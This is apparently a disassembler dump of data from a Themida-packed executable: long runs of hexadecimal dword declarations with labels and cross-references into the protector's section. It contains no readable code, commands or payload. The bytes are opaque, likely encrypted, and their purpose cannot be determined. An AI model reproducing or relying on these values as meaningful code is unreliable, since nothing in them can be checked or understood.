		dd 0D6162199h, 0AD36D1E5h, 22321575h, 0E1B10DC0h, 66EAA4CCh
		dd 0AED1BD18h, 1591DF5Fh, 9234935Eh, 5B29F4DBh,	0C03D1461h
		dd 223215DBh, 1132058Fh, 0D4C3CA66h, 54284D40h,	5468B4B4h
		dd 9AD967B9h, 0EDBF2E4Eh, 4B35C667h, 223289E2h,	19B71A66h
		dd 87321566h, 443217E7h, 19537566h, 0C232ACEBh,	0AB61A61h
		dd 0AD321566h, 2232156Dh, 4D102481h, 0A4C8F72Fh, 0ADB97271h
		dd 22321563h, 88466549h, 19BF2E2Fh, 4B35C67Ch, 223249E2h
		dd 0A63D7566h, 0E9EB9E96h, 0D0188EBh, 74521287h, 818C733Ch
		dd 5BCD745Dh, 78B94593h, 26F69442h, 0F8321566h,	8832156Ch
		dd 0D4F49720h, 0A6D6A7F7h, 94BBA7BDh, 8FE13307h, 45BA1A9Ah
		dd 0D7321566h, 112DE98Fh, 9AB01A66h, 4B321566h,	223219E9h
		dd 1135FC66h, 70061566h, 0DFB97940h, 11AF9865h,	7135F42Fh
		dd 8832048Eh, 2D6CF066h, 791CD0B6h, 0F9F37119h,	0DFF4F6C2h
		dd 0AD89129Fh, 794FD317h, 11229169h, 83DB1566h,	0ED321566h
		dd 0EAEB3F27h, 6119E346h, 775343D6h, 0F9B1E9B5h, 25E10E87h
		dd 64B61A66h, 7D321566h, 764F905Dh, 0A63D12B5h,	11321536h
		dd 8823FD06h, 9F2E1566h, 602B748Ch, 3563704Eh, 0C2CC376Dh
		dd 4BD8A552h, 223215E1h, 2A534D66h, 5B12F0E3h, 79B71A61h
		dd 2D321566h, 11320AEFh, 91B11A66h, 0AD321566h,	22321572h
		dd 0AEED7E9h, 0CC3D3D7Ah, 4865966Bh, 0C50ADBA9h, 9F55F1D5h
		dd 77CCEA8Fh, 443CFC99h, 48541566h, 0F692A819h,	0E14F94CDh
		dd 213F2B13h, 39DB905Dh, 943D12B5h, 883215E7h, 118F969Fh
		dd 2235C654h, 111C9169h, 85DB1566h, 96321566h, 0B693D14Fh
		dd 5D3082Ah, 0D69FEE54h, 6E3BA8E5h, 2D3212B5h, 113241E2h
		dd 8838FC66h, 74091566h, 4F4F88FFh, 0ECE6D261h,	1F5390EBh
		dd 0CA3D1286h, 22321567h, 0EFA0FC93h, 83DBEA99h, 0E7321566h
		dd 0BC6601F5h, 6B6E9007h, 3D9C51h, 4432157Bh, 22259769h
		dd 3DB1566h, 64321566h,	0AB5F80CCh, 0D0AF196Bh,	0E6D3ABA6h
		dd 0E944418Ah, 0ADB72E0Bh, 2D35C67Dh, 0EECC46E2h, 89B61A99h
		dd 0B8321566h, 0C8E8A8E5h, 1E331286h, 88327EE3h, 5CB11A66h
		dd 0CB321566h, 11321575h, 5DB55897h, 0D83B3C47h, 48C3F087h
		dd 0A9A13A6h, 0B3C6CB7Eh, 0A4D91BE3h, 63B71A61h, 71321566h
		dd 8837FD06h, 2411566h,	7A5F79D6h, 11329269h, 0D8531566h
		dd 3900B3DDh, 0AF534B63h, 4839F1E3h, 8821FC66h,	0FD8A1566h
		dd 0FC1971FFh, 0E0505C3h
		dd 0D8C2BC61h, 48493C55h, 0C4DBE0D5h, 0EDCDEA9Bh, 8752EA57h
		dd 54DBD7D9h, 36321566h, 0E64FBAAAh, 4D62F7Eh, 34039012h
		dd 43F91BE0h, 6BBA8E5h,	873212B5h, 442200E2h, 2BDB7566h
		dd 0EC321566h, 59B90716h, 3090A5BAh, 195335D4h,	0F1D8EFE3h
		dd 0DCB71A61h, 4B321566h, 223203EFh, 1123FC66h,	0A8F31566h
		dd 0A4F9998Fh, 173B152Bh, 647C1693h, 3E5129Bh, 97174CE3h
		dd 13897561h, 77410B29h, 0DB36CEE7h, 27CF7D07h,	1EBB1566h
		dd 3536EA42h, 9CB21A39h, 0AD321566h, 22321569h,	32A49065h
		dd 0B4121B8Bh, 29D7C055h, 198FB459h, 0F1D917E3h, 0CBB71A61h
		dd 4B321566h, 223219EBh, 1135FC66h, 1E6A1566h, 0AF9F631Eh
		dd 0FFB79EDAh, 0F835C666h, 88321574h, 648EEB5Ah, 0EF424BBCh
		dd 0FA55A2A7h, 967B85C8h, 0C76594E8h, 7DCD314Ah, 1135FC06h
		dd 0CD0E1566h, 86C3D846h, 0A70974B8h, 16D2FF98h, 88199069h
		dd 0CF3D1566h, 22321561h, 91E59E06h, 3531C8Ch, 973C08E3h
		dd 9A62E061h, 0EECDEA99h, 876AD24Fh, 44321DEAh,	20B71A66h
		dd 71321566h, 8EB72E07h, 4B35F58Dh, 223257E3h, 113CFC66h
		dd 5E811566h, 0B484F9BFh, 10324561h, 0FD27329h,	81F390EDh
		dd 225212B5h, 7C91C2E7h, 11319769h, 373D1566h, 0FD6374AEh
		dd 0DDCDEA99h, 1E6BDA4Fh, 88321FE9h, 4437FC66h,	35B61566h
		dd 2A562289h, 68D91FE3h, 0EB71A61h, 2D321566h, 113205E8h
		dd 80DB7566h, 76321566h, 0DA40EF76h, 0E9C0D3A2h, 1B79E07h
		dd 4B35C66Bh, 22320BEEh, 0DB7566h, 6E321566h, 5FC13013h
		dd 69120683h, 4B3BAA01h, 0C00908A8h, 44329269h,	71531566h
		dd 113214DDh, 0D3ED1466h, 4AB72E9Eh, 2D35F58Dh,	11322CE3h
		dd 31547566h, 898AF1BFh, 4373C2DAh, 378F90EDh, 615212B5h
		dd 44321563h, 76EC6D48h, 70D49F8Eh, 8833AF34h, 93331566h
		dd 29B21A3Ch, 0F8321566h, 88321560h, 0EC5412F0h, 0A709769Dh
		dd 16D2FE74h, 88609069h, 4ADB1566h, 30321566h, 0AC3B8D6Ch
		dd 0B723DCBCh, 47891A83h, 2BDB7512h, 3E321566h,	513A77F2h
		dd 9470B78h, 48DB9400h,	94B97451h, 8FE125D3h, 39F59406h
		dd 44585031h, 4753DEEDh, 77CDEAD8h, 1AC53C99h, 22321E8Fh
		dd 5F0F8A66h, 8D9BB729h, 0C1F42485h, 0C924905Dh, 943D1286h
		dd 88321555h, 44359569h, 0AA3D1566h, 11321567h,	0F9B79E9Fh
		dd 0BC35C643h, 2233A833h, 0FE331566h, 98B81A3Bh, 0AD321566h
		dd 2232156Dh, 8605393h,	7632397Bh, 7F5488FEh, 0C2D90FE3h
		dd 22B71A61h, 0E8321566h, 25F49E00h, 37F390EDh,	9C3D12B5h
		dd 88321567h, 8D8B4493h, 0A354E162h, 0E536DD8Fh, 0D1FD1400h
		dd 0F4EDAD06h, 0CB53193Eh, 11321560h, 5A52A625h, 0C1096E37h
		dd 25D2FE78h, 11019069h, 99DB1566h, 0A8321566h,	72EF0EEDh
		dd 9EE24600h, 8F9CAD4Bh, 6B79FDE8h, 0C9F90EDh, 42CA12B5h
		dd 77CDEADDh, 1FED3C99h, 9D547506h, 0C8B20805h,	0E1867420h
		dd 62B72E07h, 2D35F58Dh, 113221E3h, 89B21A66h, 0B1321566h
		dd 53B90EDh, 775212B5h,	0D953C3EDh, 443214DFh, 7BFD1466h
		dd 1132018Fh, 243A6A66h, 8AEC876Ah, 33C3EF3Fh, 88B1DA11h
		dd 0FD51E298h, 66B72E96h, 2D35F58Dh, 11322EE3h,	89B11A66h
		dd 0B8321566h, 3B27A8E5h, 1E3212B5h, 883232E3h,	22837566h
		dd 0D4DD9400h, 94B97402h, 8FE108E3h, 0BB8B449Eh, 0BCDEA99h
		dd 1E524CA9h, 883217EFh, 156A4766h, 4369B2D1h, 31C7A8E5h
		dd 873212B5h, 443259E2h, 2238FC66h, 0AC391566h,	0A5CAD432h
		dd 6A782D5Dh, 0C99C905Dh, 943D1286h, 88321557h,	443A9069h
		dd 2D521566h, 113215EDh, 0DB97466h, 43E13173h, 0A43D7506h
		dd 11321566h, 7D534D36h, 458A4507h, 23321566h, 903D4DA1h
		dd 88321567h, 0B18F9693h, 2235C663h, 130F9169h,	0A3D1566h
		dd 44321567h, 5F8F969Ah, 1135C66Eh, 8A1B9169h, 0FA521566h
		dd 4EBC3CB4h, 11329469h, 71531566h, 0AFA0905Dh,	0A73D1286h
		dd 1132154Ah, 88339F69h, 0CFCA1566h, 0F13828E3h, 0A863EC61h
		dd 88321567h, 246BDA67h, 2232188Fh, 0FF8BC266h,	0DB17006Bh
		dd 5348297Fh, 43C75DF3h, 0FA90905Dh, 0D3D1286h,	4432155Dh
		dd 2232128Fh, 0BB197566h, 6FB3601Ch, 4D9790EDh,	72CA12B5h
		dd 614F40DEh, 0A1AD3015h, 0AE075FD3h, 0B8FDAB0h, 1DB4DA1h
		dd 17321566h, 2126778Eh, 2C788DE3h, 9E35F0A1h, 0B30F429Ch
		dd 0A4D983E3h, 6DB71A61h, 0F8321566h, 88321572h, 5D263396h
		dd 0F7CF7699h, 0AC293E69h, 0D14D73C2h, 0A823D1FFh, 32390EDh
		dd 1E5212B5h, 883213E8h, 44B41A66h, 43321566h, 7C57A833h
		dd 4DB36CAEh, 130B161Bh, 60E7D8E7h, 0D4B37ECDh,	95927EC7h
		dd 6555E0E7h, 0CD1BF3D2h, 9409E03Bh, 8FD2FEC0h,	44719069h
		dd 0A9CA1566h, 0C22688E3h, 91BB1A61h, 0AD321566h, 22321572h
		dd 0E8826C3Fh, 0C046849Ch, 47931844h, 1B01753Ch, 0B2109B07h
		dd 8833AF34h, 93331566h, 2BDB753Ch, 72321566h, 0BC2F6456h
		dd 4EFBD05Bh, 78537537h, 0BBB72E07h, 8735F58Dh,	443259E3h
		dd 8BA1A66h, 71321566h,	8832018Fh, 79EC2666h, 0BB451E11h
		dd 16ED249Ch, 870B7C8Fh, 511D1EA9h, 223BFD29h, 81141566h
		dd 3BB08057h, 1F1E06F7h, 0ABB79E07h, 0E935C667h, 8833A833h
		dd 0AB331566h, 24BD1A3Bh, 71321566h, 2837406h, 0DEB72E07h
		dd 2D35F58Dh, 113255E3h, 883BFC66h, 34B31566h, 0C27DC9D0h
		dd 9AD48DC7h, 5B318CE3h, 42BB1A61h, 42321566h, 0C4B87406h
		dd 0EF8C4307h, 0A2F645Ch, 399CE3E7h, 0F7F30EB6h, 89F4946Eh
		dd 456CCB5Eh, 0A9524B91h, 0BCFB95B9h, 16B72E07h, 4B35F58Dh
		dd 223257E3h, 0A3627566h, 3544DD3h, 0C1B974B9h,	25E11607h
		dd 11359B69h, 0B3D1566h, 44321567h, 2389469Eh, 10321566h
		dd 0EE524EB9h, 25587EDFh, 2232078Fh, 0FB0BB66h,	776FAE57h
		dd 90EFA2E1h, 0FD740D95h, 927A19A4h, 5B3A68DBh,	0C03D1561h
		dd 22321C84h, 1FDBED06h, 4B321566h, 95B4881Eh, 0BE28D917h
		dd 95479A4Eh, 0D09742Ch, 43D2FE4Ch, 220C9069h, 1DB1566h
		dd 9321566h, 4D31EB6Bh,	0F0946D80h, 26BCC901h, 3543DDBh
		dd 9714F0E3h, 0A33DED61h, 11321564h, 77657406h,	78B93162h
		dd 26F69642h, 11389A69h, 0E8521566h, 71FB9407h,	4361758Dh
		dd 0FA8C905Dh, 0D3D1286h, 44321542h, 53B79E93h,	0F835C67Dh
		dd 8832156Eh, 8885656Eh, 550E5186h, 1133AB30h, 7F331566h
		dd 45B21A38h, 0DE321566h, 0FA1C905Dh, 0D3D1286h, 4432152Fh
		dd 223E9569h, 16DB1566h, 0DF321566h, 0FC82A7E3h, 29DBD3BDh
		dd 47321566h
		db 1, 95h, 0C0h
byte_6AC18B	db 0Dh			; DATA XREF: Themida_:00669020o
		dd 454BA49h, 0A7B93636h, 16E118FBh, 88399769h, 0C5521566h
		dd 73F5AFA0h, 0EF851A12h, 77884707h, 6DCDEA99h,	0A03D4FB1h
		dd 11321567h, 0BAB72E9Ah, 4B35F58Dh, 223255E3h,	94B9EC66h
		dd 8FE1012Fh, 44209769h, 0A83D1566h, 1132156Ah,	8832128Fh
		dd 3C7D1166h, 809112AFh, 0EECDAC37h, 471BEA99h,	4420FC3Fh
		dd 16461566h, 0A1982CECh, 0EFA299A6h, 2EF24BCCh, 4D9314AFh
		dd 27B72E9Fh, 8735F58Dh, 44325EE3h, 29B41A66h, 0F8321566h
		dd 88321560h, 8908868Fh, 0A7B9F815h, 16E11A43h,	883D9B69h
		dd 4EDB1566h, 77321566h, 65EB9B00h, 0A9C3BFD6h,	0BB8F408Bh
		dd 0BCDEA99h, 0DB4889h,	24321566h, 6B9DBBB6h, 59834A4Fh
		dd 0F60D1652h, 4A964C76h, 0AF08905Dh, 0A73D1286h, 1132150Fh
		dd 8832018Fh, 4447E666h, 0D0722DC7h, 2B905323h,	3E564B40h
		dd 9480F0FEh, 378F96D2h, 1135C67Fh, 88719069h, 0CFC71566h
		dd 0F1201CE3h, 8BD1A61h, 0E8321566h, 44321A8Eh,	2FACC66h
		dd 0A1423E90h, 3F02EC30h, 1A0FBA6Ah, 435FA23Eh,	0EECDAD36h
		dd 4F1BEA99h, 443DFC3Eh, 0E6551566h, 0B8224231h, 8F7100DDh
		dd 5D8ED82Bh, 1CB72EB1h, 1E35F58Dh, 883231E3h, 0C1B9EC66h
		dd 25E13A83h, 0FAB2759Fh, 883BFC5Ah, 31571566h,	5DE07B84h
		dd 70E9CA73h, 7003D257h, 0D372D257h, 60B72E93h,	1E35F58Dh
		dd 88326CE3h, 0C43D7566h, 22321569h, 11321F8Fh,	2A290F66h
dword_6AC31C	dd 0AA3C865Bh, 441DC6F2h, 9253E5EDh, 5B2B00DBh,	0C13D1561h
					; DATA XREF: Themida_:00633903o
		dd 22321534h, 11239E69h, 84DB1566h, 5321566h, 0A3C2F55Eh
		dd 31096032h, 3EDD0C5h,	972760E3h, 9A547561h, 0A63D2062h
		dd 57B57498h, 0BBCDFEE7h, 0FDB5EA99h, 1DBED06h,	7E321566h
		dd 5AF6051Ah, 1E2FFC65h, 216CCF8h, 0E9FB6B17h, 4432108Fh
		dd 0F7012966h, 94097883h, 8FD2FE20h, 44749069h,	2BDB1566h
		dd 0F3321566h, 483CD871h, 0C6695Ch, 305790EDh, 0DB12B5h
		dd 2C321566h, 2352DB01h, 7D97F2DCh, 6AD9977Bh, 48FF9CF0h
		dd 4433AE35h, 0FD331566h, 113CFC3Dh, 4F7D1566h,	5A6088CAh
		dd 8388C427h, 0EDF43354h, 6378905Dh, 0C13D1286h, 2232152Ch
		dd 11389569h, 87521566h, 443215EAh, 43537566h, 10B390EDh
		dd 0DEC712B5h, 0BBCDEAD8h, 7CC53C99h, 11321A8Fh, 0AB44A366h
		dd 33056D6Bh, 1F976843h, 710EEAEAh, 3B897306h, 4439FC7Bh
		dd 0C4B01566h, 7BE21D85h, 5A75F5Fh, 0C109749Dh,	25D2FE34h
		dd 117E9069h, 0BCB1566h, 972B00DBh, 0A73D1561h,	11321558h
		dd 88339469h, 0CFCE1566h, 0F12B70E3h, 9E3DE961h, 88321567h
		dd 0BB8A4593h, 0BCDEA99h, 77524DA1h, 9F74E2E7h,	4432018Fh
		dd 7E8BC066h, 0F9AECF88h, 0C3DB7CDFh, 0D78F8D78h, 0D455C9E8h
		dd 94097456h, 8FD2FE28h, 44089069h, 0A83D1566h,	11321567h
		dd 9D8F9693h, 4435C67Fh, 22149069h, 1BDB1566h, 42321566h
		dd 1134C51h, 0DDA79955h, 84B79EE9h, 7135C664h, 4433AD36h
		dd 0E5331566h, 10BE1A3Eh, 71321566h, 0AF64905Dh, 0A73D1286h
		dd 11321525h, 88321B8Fh, 98824366h, 0FA3A4E07h,	0B05B0E9h
		dd 348C8F3h, 971400E3h,	25B41A61h, 1E321566h, 883214E5h
		dd 0FE60EC66h, 22321567h, 0F868C267h, 88321569h, 7BFA7B3Eh
		dd 2216ED34h, 0AB09E220h, 0B3849A75h, 0A4D94FE3h, 11B71A61h
		dd 0F8321566h, 88321576h, 0F586E56Bh, 7869FEC4h, 0ABFDCD2Eh
		dd 8A2377D9h, 6F4390EDh, 0A43D12B5h, 1132156Eh,	88BA1A06h
		dd 25321566h, 0DDCDA833h, 0FE1BEA99h, 0D09ED3Bh, 43D2FE38h
		dd 22019069h, 19DB1566h, 36321566h, 0C1600F04h,	0A9E56629h
		dd 0C23E40E3h, 9547561h, 2455CEA1h, 80D59400h, 70E49E4Ah
		dd 89884707h, 45321566h, 0A43D4FB1h, 11321567h,	0EAB72E9Fh
		dd 4B35F58Dh, 223253E3h, 94B9EC66h, 8FE1153Fh, 0E68D7306h
		dd 0D4B3737Ch, 4453CFF7h, 222627DBh, 9FF947Bh, 67625751h
		dd 2E4AE0E7h, 55C5492Ah, 0B33BF8E7h, 0CD1BEB3Fh, 0A63D753Bh
		dd 8837FDAEh, 0D11E1566h, 2D328079h, 113215E0h,	0B3534D66h
		dd 0A4D973E3h, 73B71A61h, 71321566h, 6177DDE6h,	44321572h
		dd 1FA6F55Ah, 3B4103h, 8AD93E99h, 0AD76EE8Dh, 2C27797Eh
		dd 7CB79E07h, 6135C649h, 44321572h, 9C7D0F57h, 0EDD54E10h
		dd 0BDC6AEA4h, 0F3473D94h, 5127BEDDh, 1136F9E7h, 0B4BB1566h
		dd 6036EA42h, 0A3547539h, 70128E8Fh, 6358905Dh,	0C13D1286h
		dd 22321549h, 4B79E93h,	8735C661h, 44321EE9h, 2234FC66h
		dd 0BBFC1566h, 1D2F2E9h, 0BBCDAB30h, 0D51BEA99h, 113BFC38h
		dd 878A1566h, 949C3E32h, 1999C636h, 0F1D97BE3h,	0B1B71A61h
		dd 4B321566h, 223203E9h, 0F8CE7566h, 88321568h,	9DC23D21h
		dd 61DA150h, 2CAFCCFFh,	3535292h, 9701ACE3h, 9961E961h
		dd 11321567h, 6169CA67h, 4432156Eh, 0C0FE6CEBh,	79757CF9h
		dd 6340905Dh, 0C13D1286h, 2232155Ch, 0DCDC9406h, 0DA5C5EFCh
		dd 5BC8B7DDh, 0A9534E56h, 0C22EE4E3h, 8822FC61h, 8F4F1566h
		dd 9DDF2F55h, 0E79ED19h, 71680ADh, 0F967CF57h, 22321567h
		dd 1E6FFA67h, 883214E0h, 0C109ED66h, 25E135CFh,	116A9069h
		dd 3CE1566h, 973EA8E3h,	2223FC61h, 3CEE1566h, 0D2D9F6D1h
		dd 0ADBBBF1Eh, 0ABC166CDh, 79144826h, 88324C80h, 0BB1629EFh
		dd 2D6D3162h, 113200E8h, 8822FC66h, 0F1501566h,	26AA0A04h
		dd 8DD7AFFBh, 82E2FD9Bh, 0C63DB538h, 22321568h,	11321C8Fh
		dd 5548766h, 21A85BA8h,	0A709C7EDh, 16D2FE10h, 881D9069h
		dd 0BCCB1566h, 376790EDh, 44C712B5h, 883214DBh,	19DD1466h
		dd 22259D69h, 3DB1566h,	0B3321566h, 0A9AA7B8Eh,	9E01E083h
		dd 0F09A2961h, 4B2695DFh, 0F6B72E03h, 2D35F58Dh, 113271E3h
		dd 8837FC66h, 47F1566h,	0A12D9817h, 0F1D9AFDBh,	0D3D1561h
		dd 4432154Fh, 22339F69h, 1ECA1566h, 883214E5h, 0F9B1EC66h
		dd 25E10E87h, 23B61A66h, 87321566h, 44321DE0h, 0FBB37566h
		dd 56C8EB02h, 0F9B79E07h, 4B35C646h, 223212E8h,	10B41A66h
		dd 71321566h, 4433AF34h, 0F5331566h, 9C3DEC3Ch,	88321567h
		dd 0F2B72E9Ah, 2D35F58Dh, 113292E3h, 87647566h,	443215E6h
		dd 33DB4C66h, 9321566h,	44DAACDFh, 181A3645h, 0D5860BA9h
		dd 9F5E6E2Fh, 328F9607h, 4435F58Dh, 221C9069h, 9B3D1566h
		dd 88321567h, 0A58F969Ah, 2235C67Dh, 11749169h,	87521566h
		dd 443217E0h, 0CB537566h, 1132156Dh, 33E794B5h,	312E2317h
		dd 43A8E575h, 0A8F90EDh, 0DFCB12B5h, 0CF161199h, 0E6B1315Ah
		dd 1138FC62h, 0B71566h,	0C925B783h, 0FA685E93h,	1132128Fh
		dd 0FD7A8866h, 4606F9B1h, 0C948905Dh, 943D1286h, 88321529h
		dd 2415A606h, 2A7D6CDDh, 0C8B37305h, 0E95309A8h, 738B4406h
		dd 7826D636h, 0CF851A06h, 0DC0AD00h, 0C1B97407h, 25E13CA7h
		dd 11269069h, 87DB1566h, 53321566h, 0BC3A64B3h,	0B2729AABh
		dd 7B0C16C3h, 0FE60FC8Ch, 0DDCDEA99h, 7168C24Fh, 0B35354D6h
		dd 0A4D96BE3h, 6BB71A61h, 0E8321566h, 0A86F90EDh, 0CB3D12B5h
		dd 2232156Eh, 11BB1A06h, 0E9321566h, 4438FD06h,	589C1566h
		dd 79239DD7h, 9C23A963h, 0B3B6CDE7h, 2D6C43D0h,	4353EDD9h
		dd 77CDEADCh, 1EE53C99h, 2237FC06h, 91291566h, 0EE63B140h
		dd 250866D8h, 0C9B0905Dh, 943D1286h, 8832153Bh,	90ED9406h
		dd 444F5C32h, 0A46C7E7h, 0DDB79E07h, 0AD35C668h, 2232156Fh
		dd 4DAE9B35h, 0FD796B85h, 5B8C438Eh, 0A3242266h, 92065A88h
		dd 7FE4E251h, 82B35BB8h, 37E2157h, 1E6CE267h, 883219EAh
		dd 42B51A66h, 2D321566h, 113215E2h, 8839FC66h, 5E901566h
		dd 6DE7A874h, 60A91425h, 0EB72E70h, 4B35F58Dh, 22322BE3h
		dd 94B9ED66h, 8FE13BAFh, 4420FC06h, 65501566h, 0F7B1B33Dh
		dd 9BC44D64h, 58E63D2Dh, 7AC94AF5h, 1EB6AC00h, 8CB34207h
		dd 44321442h, 2EDB4A66h, 0FE321566h, 0F8DB99A1h, 9CCAB388h
		dd 19378339h, 0F1D99FE3h, 0D9B71A61h, 24321566h, 0AC91D4E7h
		dd 905469A1h, 0E9803DBDh, 6F9B90EDh, 2FDB12B5h,	0FE321566h
		dd 303203D8h, 7CEE36Dh,	710CF6FAh, 19DA7506h, 0D6321566h
		dd 0A98F0F69h, 7D59295Eh, 1E533ED1h, 883217EBh,	25C09E66h
		dd 0DDCDA833h, 0FE1BEA99h, 89B71A3Bh, 0B8321566h, 0C9BC905Dh
		dd 943D1286h, 8832155Ch, 443B9769h, 44521566h, 459FFEE7h
		dd 3537406h, 9714F0E3h,	23BD1A61h, 0ED321566h, 77CDAD36h
		dd 831BEA99h, 0A354753Eh, 70406FA0h, 88BD1A06h,	0C5321566h
		dd 0A4CAF5AFh, 0EE39746Ch, 880B9169h, 4DDB1566h, 46321566h
		dd 13DC4102h, 93FAFF76h, 0BBDF998Fh, 3ABD1A99h,	0F8321566h
		dd 88321575h, 0E0898705h, 77F414F2h, 65C0BC2Fh,	4A8FD475h
		dd 24451C54h, 0A206C8E6h, 2A539ABEh, 5B12ACE3h,	7FB71A61h
		dd 2D321566h, 113218E5h, 58B37566h, 755EC58h, 84D89400h
		dd 94BF7457h, 8FD231BAh
		dd 25524506h, 0AD8D7339h, 23DB74B3h, 61CDEA8Bh,	44321568h
		dd 0AF8A0731h, 0A9E73906h, 778693E0h, 0C1098E32h, 25E139A3h
		dd 11799069h, 0BCE1566h, 0A4D8CFDBh, 0A73D1461h, 1132155Bh
		dd 883F9169h, 4CDB1566h, 60321566h, 0BC99260Ch,	5BCC3E8h
		dd 1D3972E3h, 0A53D7566h, 11321560h, 0FA1DDE7h,	0C73D7DB1h
		dd 22321566h, 0FDE1FC07h, 8EDBEA99h, 7C321566h,	0DB0C5C96h
		dd 0FBB72E6Eh, 8735F58Ch, 443228E2h, 3AB81A66h,	0F8321566h
		dd 88321575h, 0E47BEFE7h, 0FF19EC55h, 0E5642046h, 9304C3C0h
		dd 7F9A00B8h, 0C2D8FBE3h, 0BB71A61h, 0E8321566h, 0A9F59400h
		dd 24BB1AB9h, 1E321566h, 883215EFh, 3EDB7466h, 0DBCDEA8Ah
		dd 1188479Eh, 1321566h,	60269EB0h, 2236D1E7h, 91521566h
		dd 42B307B2h, 53E463E2h, 23CC9607h, 11809069h, 99DB1566h
		dd 0C321566h, 3C7A357Ch, 3B088B99h, 374A982h, 4DF76863h
		dd 0C8EC905Dh, 943D1286h, 88321556h, 80B79893h,	0CB324DE1h
		dd 1132156Ah, 8C59A61Ah, 87A31620h, 274B61F6h, 0EEDE018Fh
		dd 85B01A99h, 24321566h, 9C19400h, 45E4942Dh, 0E92B804Fh
		dd 0AED0905Dh, 0A73D1286h, 11321557h, 883E9F69h, 0C63D1566h
		dd 22321560h, 11329569h, 0DBF1566h, 446A9D5Ch, 44F39E06h
		dd 0F853E6EDh, 77CDFEB7h, 44321D8Fh, 0E6967E66h, 80E96CD4h
		dd 6EB72E0Dh, 4B35F58Ch, 223202E3h, 10BE1A66h, 70321566h
		dd 0CC4D90EBh, 0A852153Eh, 0B3DB7483h, 7DCDEA8Dh, 60369E36h
		dd 2236D1E7h, 9C3D1566h, 88321567h, 148B449Fh, 9C27A17Bh
		dd 4860834h, 0B4DFFBE7h, 8A1B19A4h, 1EDFD3E7h, 716B19A4h
		dd 38D49400h, 94D49431h, 431544D3h, 943DE36Dh, 8832157Fh
		dd 0AF78FC9Eh, 2CDBEA99h, 0DB321566h, 3E305985h, 3E360AD8h
		dd 4CBF1369h, 0D2BB468Dh, 61694B35h, 4432156Eh,	0A80EDC69h
		dd 7E381637h, 9A0FA0EFh, 0C13D12B5h, 22321561h,	11339969h
		dd 87CA1566h, 44320DE4h, 0C0B27566h, 113CFC55h,	0B3DB1566h
		dd 713E3042h, 36EAFFCh,	49B85814h, 0AD879C07h, 0AD35C661h
		dd 2232156Dh, 0CE8AB139h, 0DF8F61E2h, 0C43B7330h, 0A73DFC58h
		dd 113215BEh, 898A459Eh, 45321566h, 0A302EA96h,	6F003152h
		dd 96D6EA8h, 8A4C2791h,	44524D1Dh, 77E120DDh, 0E9B622DFh
		dd 720CFAE7h, 0E5B370AFh, 36277731h, 67B3E267h,	63277731h
		dd 140CD2E7h, 16DB70AFh, 12321566h, 63836637h, 0CEB3E8CAh
		dd 11321562h, 0D31621EFh, 8619AD06h, 0F3B85AABh, 15DE9407h
		dd 1321566h, 448D315Ah,	23321526h, 943D4A9Dh, 88321568h
		dd 44321C8Fh, 7836EA66h, 0CB366A5Dh, 35096E0Ch,	43E1075Bh
		dd 22029769h, 0DB1566h,	12321566h, 69DF05FDh, 9EE7CDF8h
		dd 7E0CD227h, 0BF111581h, 0C23DEE5Dh, 2232154Ah, 15B01A06h
		dd 0EE321566h, 0C5569DD9h, 96703EB4h, 0DB7443h,	87CDEA8Ch
		dd 44321AEAh, 2238FC66h, 42451566h, 0C1D1F5h, 0EE6E8075h
		dd 3913A8EDh, 5DB12B5h,	0E1321566h, 4D83E801h, 256EF512h
		dd 0EA3892FAh, 0DD6D7863h, 830FB63Eh, 0F11D50E3h, 11321561h
		dd 74887566h, 4B1582CCh, 0CB53E6D9h, 11321568h,	0B1221256h
		dd 0D97AA0B6h, 1654BEF0h, 0E452DAAAh, 8F17A0EFh, 4BCE12B5h
		dd 22321DE0h, 13BA1A66h, 0E8321566h, 2AAF9807h,	4235F416h
		dd 11B11A06h, 87321566h, 0FA53EBD9h, 22FEEB2Fh,	1EE1EA07h
		dd 883202EFh, 48DB7566h, 0CD321566h, 0C8815F41h, 7BD9CF81h
		dd 2285E0E7h, 43B440DFh, 953DD56Dh, 88321557h, 4432078Fh
		dd 2A0CE366h, 2C9AFD43h, 432E7937h, 12271136h, 0D7A88EF2h
		dd 1132BF8Fh, 883DFC66h, 5C6F1566h, 4EE068E6h, 843E1F1h
		dd 0E16F4014h, 0A3AF9873h, 2D35CB55h, 11321BE5h, 883BFC66h
		dd 0D0341566h, 1BEA276Dh, 0F84815AEh, 88321561h, 1B48A185h
		dd 0DD91077Eh, 5CB11AB5h, 74CDEA99h, 4317A0EDh,	425212B5h
		dd 11329469h, 3F3D1566h, 0C23D74BDh, 22321563h,	3CD49400h
		dd 3DBB7464h, 43E13A23h, 223CFC06h, 3AF31566h, 6518C863h
		dd 60E4A1C9h, 90B99030h, 9C53C3EDh, 57BF17FBh, 4437FC61h
		dd 8661566h, 0EE7C9798h, 9CBA1AB5h, 0AD321566h,	22321569h
		dd 9B2BCCBBh, 0ABAFBA0Ah, 847B4F24h, 0A909D389h, 0C22028E3h
		dd 3547561h, 4426FC9Fh,	0B3A51566h, 851AE49h, 4BAD294Ah
		dd 72D43AE0h, 189FA8Dh,	98534BE6h, 5B3530E3h, 2453EC61h
		dd 6EE5AD00h, 7027CDE6h, 87DA2BE6h, 4432E7E3h, 518C7566h
		dd 0F9423D1Eh, 88321574h, 0DE663550h, 0D70EF725h, 0BDB30D62h
		dd 0B1F89A31h, 9BB94D0Ch, 33DB743Dh, 67321566h,	1868866Fh
		dd 31D42923h, 0C729E643h, 76793575h, 0B897A8E5h, 4B3212B5h
		dd 2232BBE2h, 91CA7566h, 8753E2A7h, 44321AE1h, 2238FC66h
		dd 0F6221566h, 0E173133Dh, 4CE05467h, 0A2A0A037h, 9960BC8Bh
		dd 0D2E29D8Ch, 4B98E93Fh, 223201EBh, 1FBB1A66h,	61321566h
		dd 4432156Fh, 270FE125h, 3ABEDC59h, 0D2644740h,	0B868C5EFh
		dd 0DF481F63h, 36EB107Dh, 701B1938h, 1A15CC4Bh,	5838386Ah
		dd 42520E9Bh, 0D1CA9E00h, 1364749Fh, 223211D9h,	4ECC9C66h
		dd 876CE54Fh, 443219E3h, 24B51A66h, 1E321566h, 883215EFh
		dd 4BDBBE66h, 0CB321566h, 46831640h, 0AB99AC5Ch, 0A655CD16h
		dd 69DB1E5Eh, 71321564h, 6AB510D9h, 84B37345h, 0AF532A9Ah
		dd 0F06454FBh, 5BCDE061h, 44321C8Fh, 5F396066h,	76348CDDh
		dd 15BFFB96h, 43D37E0Bh, 30DB759Ah, 21321566h, 0D057FC3Dh
		dd 1BF33075h, 0E51B57Fh, 0E2E8CAA8h, 8DB41A20h,	22321566h
